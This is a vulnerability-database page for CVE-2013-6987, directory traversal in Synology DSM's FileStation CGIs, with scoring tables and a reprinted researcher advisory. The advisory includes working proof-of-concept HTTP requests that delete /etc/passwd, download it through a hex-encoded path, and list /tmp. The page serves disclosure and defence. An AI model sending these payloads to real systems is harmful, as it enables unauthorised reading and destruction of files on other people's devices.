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Multiple directory traversal vulnerabilities in the FileBrowser components in Synology DiskStation Manager (DSM) before 4.3-3810 Update 3 allow remote attackers to read, write, and delete arbitrary files via a .. (dot dot) in the (1) path parameter to file_delete.cgi or (2) folder_path parameter to file_share.cgi in webapi/FileStation/; (3) dlink parameter to fbdownload/; or unspecified parameters to (4) html5_upload.cgi, (5) file_download.cgi, (6) file_sharing.cgi, (7) file_MVCP.cgi, or (8) file_rename.cgi in webapi/FileStation/.
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
7.5
AV:N/AC:L/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
28.23%
–
–
2022-04-03
–
–
28.23%
–
–
2022-06-19
–
–
26.61%
–
–
2023-03-12
–
–
–
1.81%
–
2023-05-07
–
–
–
1.28%
–
2023-07-02
–
–
–
1.2%
–
2023-09-17
–
–
–
1.2%
–
2023-10-01
–
–
–
0.85%
–
2024-02-11
–
–
–
0.85%
–
2024-04-07
–
–
–
0.81%
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2024-06-02
–
–
–
0.81%
–
2024-07-21
–
–
–
0.82%
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2024-11-24
–
–
–
0.82%
–
2024-12-22
–
–
–
0.82%
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2025-01-26
–
–
–
0.9%
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2025-01-19
–
–
–
0.82%
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2025-01-25
–
–
–
0.9%
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2025-03-18
–
–
–
–
52.78%
2025-03-30
–
–
–
–
36.43%
2025-03-30
–
–
–
–
36.43,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Publication date : 2013-12-23 23h00 +00:00 Author : Andrea Fabrizi EDB Verified : No
**************************************************************
Title: Synology DSM multiple directory traversal
Version affected: <= 4.3-3810
Vendor: Synology
Discovered by: Andrea Fabrizi
Email: andrea.fabrizi@gmail.com
Web: http://www.andreafabrizi.it
Twitter: @andreaf83
Status: patched
CVE: 2013-6987
**************************************************************
I'm again here with a Synology DSM vulnerability.
Synology DiskStation Manager (DSM) it's a Linux based operating
system, used for the DiskStation and RackStation products.
I found a lot of directory traversal in the FileBrowser components.
This kind of vulnerability allows any authenticated user, even if not
administrative, to access, create, delete, modify system and
configuration files.
The only countermeasure implemented against this vulnerability is the
check that the path starts with a valid shared folder, so is enough to
put the "../" straight after, to bypass the security check.
Vulnerables CGIs:
- /webapi/FileStation/html5_upload.cgi
- /webapi/FileStation/file_delete.cgi
- /webapi/FileStation/file_download.cgi
- /webapi/FileStation/file_sharing.cgi
- /webapi/FileStation/file_share.cgi
- /webapi/FileStation/file_MVCP.cgi
- /webapi/FileStation/file_rename.cgi
Not tested all the CGI, but I guess that many others are vulnerable,
so don't take my list as comprehensive.
Following some examples ("test" is a valid folder name):
- Delete /etc/passwd
===========================================
POST /webapi/FileStation/file_delete.cgi HTTP/1.1
Host: 192.168.56.101:5000
X-SYNO-TOKEN: XXXXXXXX
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 103
Cookie: stay_login=0; id=kjuYI0HvD92m6
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
path=/test/../../etc/passwd&accurate_progress=true&api=SYNO.FileStation.Delete&method=start&version=1
===========================================
- Arbitrary file download:
===========================================
GET /fbdownload/?dlink=2f746573742f2e2e2f2e2e2f6574632f706173737764 HTTP/1.1
Host: 192.168.56.101:5000
Connection: keep-alive
Authorization: Basic XXXXXXXX
===========================================
2f746573742f2e2e2f2e2e2f6574632f706173737764 -> /test/../../etc/passwd
- Remote file list:
=========================
POST /webapi/FileStation/file_share.cgi HTTP/1.1
Host: 192.168.56.101:5000
X-SYNO-TOKEN: XXXXXXXX
Content-Length: 75
Cookie: stay_login=0; id=f9EThJSyRaqJM; BCSI-CS-36db57a1c38ce2f6=2
folder_path=/test/../../tmp&api=SYNO.FileStation.List&method=list&version=1
==========================
Timeline:
- 05/12/2013: First contact with the vendor
- 06/12/2013: Vulnerability details sent to the vendor
- 20/12/2013: Patch released by the vendor